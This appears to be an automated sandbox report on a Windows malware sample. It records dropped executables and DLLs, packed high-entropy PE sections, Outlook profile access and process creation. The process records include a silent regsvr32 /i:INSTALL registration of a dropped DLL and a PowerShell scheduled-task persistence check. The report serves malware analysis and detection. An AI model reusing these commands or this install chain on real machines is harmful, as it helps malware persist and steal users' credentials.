Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: perfos.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Alert Window_is1

Source: file.exe

Static file information: File size 1831424 > 1048576

Source: file.exe

Static PE information: Raw size of jgaxtykk is bigger than: 0x100000 < 0x1a5200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1967238489.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1967238489.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jgaxtykk:EW;ffwfucdy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jgaxtykk:EW;ffwfucdy:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Unpacked PE file: 21.2.DocumentsHCAEHJJKFC.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fjmpujlc:EW;jlhbczjq:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: FunnyJellyfish.exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x178b4a
Source: FunnyJellyfish.tmp.33.dr	Static PE information: real checksum: 0x0 should be: 0x127e44
Source: 76ce55fba7.exe.25.dr	Static PE information: real checksum: 0x43c5ea should be: 0x29aae7
Source: _setup64.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: is-1VUQP.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x12b021
Source: random[1].exe.25.dr	Static PE information: real checksum: 0x43c5ea should be: 0x29aae7
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1da666 should be: 0x1e3c3d
Source: FunnyJellyfish.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x127e44
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: real checksum: 0x1da666 should be: 0x1e3c3d
Source: FunnyJellyfish[1].exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x178b4a
Source: file.exe	Static PE information: real checksum: 0x1bf85c should be: 0x1c13e9
Source: _setup64.tmp.29.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1da666 should be: 0x1e3c3d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jgaxtykk
Source: file.exe	Static PE information: section name: ffwfucdy
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: fjmpujlc
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: jlhbczjq
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: fjmpujlc
Source: random[1].exe.0.dr	Static PE information: section name: jlhbczjq
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: fjmpujlc
Source: skotes.exe.21.dr	Static PE information: section name: jlhbczjq
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: ngzqujxo
Source: random[1].exe.25.dr	Static PE information: section name: tkrbkghg
Source: random[1].exe.25.dr	Static PE information: section name: .taggant
Source: 76ce55fba7.exe.25.dr	Static PE information: section name:
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: .rsrc
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: .idata
Source: 76ce55fba7.exe.25.dr	Static PE information: section name:
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: ngzqujxo
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: tkrbkghg
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: .taggant
Source: is-4PJR3.tmp.34.dr	Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp

Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_0041D91C push ecx; ret

25_2_0041D92F

Source: file.exe	Static PE information: section name: jgaxtykk entropy: 7.953009389586694
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: entropy: 7.982732781787212
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: fjmpujlc entropy: 7.954406052797792
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.982732781787212
Source: random[1].exe.0.dr	Static PE information: section name: fjmpujlc entropy: 7.954406052797792
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.982732781787212
Source: skotes.exe.21.dr	Static PE information: section name: fjmpujlc entropy: 7.954406052797792
Source: random[1].exe.25.dr	Static PE information: section name: ngzqujxo entropy: 7.94215123710673
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: ngzqujxo entropy: 7.94215123710673

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCAEHJJKFC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHCAEHJJKFC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Local\is-1VUQP.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Roaming\DelightfulCard.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	File created: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	File created: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Roaming\is-4PJR3.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FunnyJellyfish[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008024001\76ce55fba7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	File created: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
